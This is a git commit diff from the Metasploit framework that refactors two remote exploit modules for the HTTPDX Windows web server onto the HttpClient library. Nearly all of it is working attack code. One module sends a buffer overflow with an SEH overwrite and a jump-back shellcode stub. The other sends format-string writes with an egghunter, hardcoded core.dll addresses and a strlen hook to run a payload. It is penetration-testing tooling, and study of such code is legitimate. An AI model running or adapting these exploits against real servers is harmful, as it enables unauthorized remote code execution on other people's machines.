convert modules to HttpClient, use http_fingerprint
git-svn-id: file:///home/svn/framework3/trunk@9700 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
dffd8c0c97
commit
81cce81969
|
@ -28,7 +28,7 @@ require 'msf/core'
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = GreatRanking
|
Rank = GreatRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::Remote::Seh
|
include Msf::Exploit::Remote::Seh
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -87,29 +87,35 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Oct 08 2009'
|
'DisclosureDate' => 'Oct 08 2009'
|
||||||
))
|
))
|
||||||
|
end
|
||||||
|
|
||||||
register_options( [ Opt::RPORT(80) ], self.class )
|
def auto_target
|
||||||
|
info = http_fingerprint
|
||||||
|
if info and (info =~ /httpdx\/(.*) \(Win32\)/)
|
||||||
|
ver = $1
|
||||||
|
#print_status("HTTPDX version detected : #{ver}")
|
||||||
|
|
||||||
|
# this will need to be updated if httpdx is ever fixed :)
|
||||||
|
case ver
|
||||||
|
when "1.4"
|
||||||
|
return targets[0]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
connect
|
if (auto_target)
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
||||||
resp = sock.get_once
|
|
||||||
disconnect
|
|
||||||
|
|
||||||
# this will need to be updated if httpdx is ever fixed :)
|
|
||||||
if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then
|
|
||||||
print_status("HTTPDX version detected : #{m[1]}")
|
|
||||||
if m[1] =~ /"1\.4"/
|
|
||||||
return Exploit::CheckCode::Appears
|
|
||||||
end
|
|
||||||
end
|
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
connect
|
if not auto_target
|
||||||
|
raise RuntimeError, 'The server is not running a vulnerable version of HTTPDX'
|
||||||
|
end
|
||||||
|
|
||||||
uri = payload.encoded
|
uri = payload.encoded
|
||||||
if target['Offset'] > payload_space
|
if target['Offset'] > payload_space
|
||||||
|
@ -121,21 +127,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
|
uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
|
||||||
# extra causing hitting end of the stack
|
# extra causing hitting end of the stack
|
||||||
uri << rand_text_alphanumeric(1024)
|
uri << rand_text_alphanumeric(1024)
|
||||||
|
|
||||||
uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)
|
uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)
|
||||||
|
|
||||||
sploit = rand_text(3) + "=" + uri
|
sploit = '/' + rand_text(3) + '=' + uri
|
||||||
request = "GET /" + sploit + " HTTP/1.1\r\n"
|
|
||||||
# an empty host header gives us 512 bytes in the client structure
|
# an empty host header gives us 512 bytes in the client structure
|
||||||
# (client->filereq and client->host)
|
# (the client->filereq and client->host buffers are adjacement in memory)
|
||||||
request << "Host: \r\n"
|
datastore['VHOST'] = ''
|
||||||
request << "\r\n"
|
|
||||||
|
res = send_request_raw(
|
||||||
|
{
|
||||||
|
'uri' => sploit
|
||||||
|
}, 5)
|
||||||
|
|
||||||
print_status("Trying target #{target.name}...")
|
print_status("Trying target #{target.name}...")
|
||||||
|
|
||||||
sock.put(request)
|
|
||||||
sock.close
|
|
||||||
|
|
||||||
disconnect
|
|
||||||
handler
|
handler
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -14,7 +14,7 @@ require 'msf/core'
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = GreatRanking
|
Rank = GreatRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::Egghunter
|
include Msf::Exploit::Egghunter
|
||||||
include Msf::Exploit::FormatString
|
include Msf::Exploit::FormatString
|
||||||
|
|
||||||
|
@ -102,6 +102,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||||
}
|
}
|
||||||
|
],
|
||||||
|
|
||||||
|
#
|
||||||
|
# Debugging target
|
||||||
|
#
|
||||||
|
[ 'Debug target',
|
||||||
|
{
|
||||||
|
'PadBytes' => 2,
|
||||||
|
'NumPops' => 22,
|
||||||
|
'Writable' => 0xfeedfed5,
|
||||||
|
'FlowHook' => 0xdeadbeef
|
||||||
|
}
|
||||||
]
|
]
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
|
@ -124,28 +136,27 @@ If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
|
||||||
For now, that will have to be done manually.
|
For now, that will have to be done manually.
|
||||||
|
|
||||||
=end
|
=end
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(80),
|
|
||||||
], self.class )
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def check
|
def check
|
||||||
|
|
||||||
version = get_version
|
version = get_version
|
||||||
if version
|
if version
|
||||||
print_status("HTTPDX version detected : #{version}")
|
print_status("HTTPDX version detected : #{version}")
|
||||||
if version =~ /"1\.4"/
|
if (version =~ /1\.4/) or (version == "1.5")
|
||||||
return Exploit::CheckCode::Appears
|
return Exploit::CheckCode::Vulnerable
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return Exploit::CheckCode::Safe
|
Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
|
# an empty host header gives us 512 bytes in the client structure
|
||||||
|
# (the client->filereq and client->host buffers are adjacement in memory)
|
||||||
|
datastore['VHOST'] = ''
|
||||||
|
|
||||||
# Use a copy of the target
|
# Use a copy of the target
|
||||||
mytarget = target
|
mytarget = target
|
||||||
|
|
||||||
|
@ -154,22 +165,21 @@ For now, that will have to be done manually.
|
||||||
|
|
||||||
print_status("Automatically detecting the target...")
|
print_status("Automatically detecting the target...")
|
||||||
|
|
||||||
version = get_version()
|
version = get_version
|
||||||
if not version
|
if not version
|
||||||
print_status("No matching target")
|
raise RuntimeError, 'The remote server is not running HTTPDX'
|
||||||
return
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
re = Regexp.new(Regexp.escape(version)+' - ', true)
|
||||||
self.targets.each do |t|
|
self.targets.each do |t|
|
||||||
if (t.name =~ /#{version} - /) then
|
if (re.match(t.name))
|
||||||
mytarget = t
|
mytarget = t
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if (not mytarget)
|
if (not mytarget)
|
||||||
print_status("No matching target")
|
raise RuntimeError, 'Unable to automatically detect exploitation parameters'
|
||||||
return
|
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Selected Target: #{mytarget.name}")
|
print_status("Selected Target: #{mytarget.name}")
|
||||||
|
@ -186,21 +196,12 @@ For now, that will have to be done manually.
|
||||||
# use the egghunter!
|
# use the egghunter!
|
||||||
eh_stub, eh_egg = generate_egghunter
|
eh_stub, eh_egg = generate_egghunter
|
||||||
|
|
||||||
|
|
||||||
# write shellcode to 'writable' (all at once)
|
# write shellcode to 'writable' (all at once)
|
||||||
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
|
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
|
||||||
fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
||||||
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
|
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
|
||||||
|
|
||||||
connect
|
send_request_raw({ 'uri' => fmtbuf })
|
||||||
request = "GET /"
|
|
||||||
request << fmtbuf
|
|
||||||
request << " HTTP/1.0\r\n"
|
|
||||||
request << "Host: \r\n"
|
|
||||||
request << "\r\n"
|
|
||||||
sock.put(request)
|
|
||||||
disconnect
|
|
||||||
|
|
||||||
|
|
||||||
# write 'writable' addr to flowhook (execute shellcode)
|
# write 'writable' addr to flowhook (execute shellcode)
|
||||||
# NOTE: the resulting two writes must be done at the same time
|
# NOTE: the resulting two writes must be done at the same time
|
||||||
|
@ -208,17 +209,10 @@ For now, that will have to be done manually.
|
||||||
# add payload to the end
|
# add payload to the end
|
||||||
fmtbuf << eh_egg * 2
|
fmtbuf << eh_egg * 2
|
||||||
fmtbuf << payload.encoded
|
fmtbuf << payload.encoded
|
||||||
fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
||||||
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
|
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
|
||||||
|
|
||||||
connect
|
send_request_raw({ 'uri' => fmtbuf })
|
||||||
request = "GET /"
|
|
||||||
request << fmtbuf
|
|
||||||
request << " HTTP/1.0\r\n"
|
|
||||||
request << "Host: \r\n"
|
|
||||||
request << "\r\n"
|
|
||||||
#print_status("\n" + Rex::Text.to_hex_dump(request))
|
|
||||||
sock.put(request)
|
|
||||||
disconnect
|
disconnect
|
||||||
|
|
||||||
# connect again to trigger shellcode
|
# connect again to trigger shellcode
|
||||||
|
@ -232,18 +226,11 @@ For now, that will have to be done manually.
|
||||||
|
|
||||||
|
|
||||||
def get_version
|
def get_version
|
||||||
|
info = http_fingerprint
|
||||||
connect
|
if info and (info =~ /httpdx\/(.*) \(Win32\)/)
|
||||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
return $1
|
||||||
resp = sock.get_once
|
|
||||||
disconnect
|
|
||||||
|
|
||||||
# this will need to be updated if httpdx is ever fixed :)
|
|
||||||
if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then
|
|
||||||
return m[1]
|
|
||||||
end
|
end
|
||||||
|
nil
|
||||||
return nil
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue